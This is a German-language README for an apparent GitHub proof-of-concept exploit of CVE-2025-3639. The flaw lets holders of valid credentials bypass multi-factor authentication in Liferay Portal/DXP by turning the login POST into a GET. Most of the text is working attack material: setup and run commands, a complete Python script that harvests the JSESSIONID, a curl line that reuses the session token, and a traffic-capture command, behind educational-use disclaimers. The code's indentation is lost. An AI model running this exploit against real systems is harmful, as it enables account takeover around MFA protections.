
Schwachstelle zur Umgehung der Anmeldung in Liferay Portal (Versionen 7.3.0–7.4.3.132) und Liferay DXP (verschiedene Versionen von 2024.Q1 bis 2025.Q1.6)
Dieses Repository enthält einen Proof of Concept (PoC) für CVE-2025-3639, eine Schwachstelle zur Anmeldeumgehung in Liferay Portal (Versionen 7.3.0–7.4.3.132) und Liferay DXP (verschiedene Versionen von 2024.Q1 bis 2025.Q1.6). Der PoC zeigt, wie ein nicht authentifizierter Benutzer mit gültigen Anmeldedaten die Multi-Faktor-Authentifizierung (MFA) umgehen kann, indem er eine POST-Anfrage in eine GET-Anfrage ändert, was potenziell unbefugten Zugriff auf Benutzerkonten ermöglicht.
Warnung: Dieser PoC dient nur zu Bildungszwecken. Unbefugtes Testen oder Ausnutzen dieser Schwachstelle ist illegal und unethisch. Verwenden Sie ihn nur mit ausdrücklicher schriftlicher Genehmigung des Systembesitzers.
sudo apt-get update
sudo apt-get install python3 python3-requests
pip3 install requests
Klonen Sie das Repository:
git clone https://github.com/6lj/CVE-2025-3639.git
cd CVE-2025-3639
Stellen Sie sicher, dass Python 3 und die requests-Bibliothek installiert sind:
pip3 install requests
Führen Sie das PoC-Skript mit den entsprechenden Argumenten aus (ersetzen Sie <target_url>, <username> und <password> durch die URL der Ziel-Liferay-Instanz und gültige Anmeldedaten).
poc.pypython3 poc.py --target <target_url> --username <username> --password <password>
--target: Die URL der Liferay Portal/DXP-Instanz (z. B. http://example.com).--username: Gültiger Benutzername für die Zielinstanz.--password: Gültiges Passwort für den Benutzernamen.python3 poc.py --target http://192.168.1.100 --username [email protected] --password Test123!
Erfolg: Wenn der Exploit funktioniert, gibt das Skript ein gültiges Sitzungstoken oder eine Erfolgsmeldung zurück, die den Zugriff auf das Benutzerkonto ohne MFA anzeigt.
curl -b "COOKIE=<session_token>" http://<target_url>/api/jsonws/user/get-current-user
Fehler: Wenn der Server einen Fehler zurückgibt (z. B. 401 Unauthorized oder 403 Forbidden), ist die Instanz möglicherweise nicht anfällig oder MFA ist nicht aktiviert.
Verkehr überwachen: Verwenden Sie ein Tool wie Wireshark, um den HTTP-Verkehr zu überwachen:
sudo wireshark -f "tcp port 80 or tcp port 443"
Unten befindet sich der Beispielcode für poc.py:
import requests
import argparse
def exploit(target, username, password):
print(f"[*] Attempting CVE-2025-3639 exploit on {target}")
login_url = f"{target}/c/portal/login"
params = {
"p_auth": "",
"login": username,
"password": password
}
try:
response = requests.get(login_url, params=params, allow_redirects=True)
if response.status_code == 200 and "JSESSIONID" in response.cookies:
print(f"[+] Success! Session token: {response.cookies['JSESSIONID']}")
return True
else:
print(f"[-] Failed: {response.status_code} - {response.text}")
return False
except Exception as e:
print(f"[-] Error: {str(e)}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2025-3639 PoC for Liferay Portal/DXP")
parser.add_argument("--target", required=True, help="Target Liferay URL (e.g., http://example.com)")
parser.add_argument("--username", required=True, help="Valid username")
parser.add_argument("--password", required=True, help="Valid password")
args = parser.parse_args()
exploit(args.target, args.username, args.password)
Dieses Projekt dient nur zu Bildungszwecken. Der Autor ist nicht verantwortlich für eine unbefugte oder illegale Nutzung dieses PoC. Holen Sie vor dem Testen immer die ausdrückliche Genehmigung des Systembesitzers ein.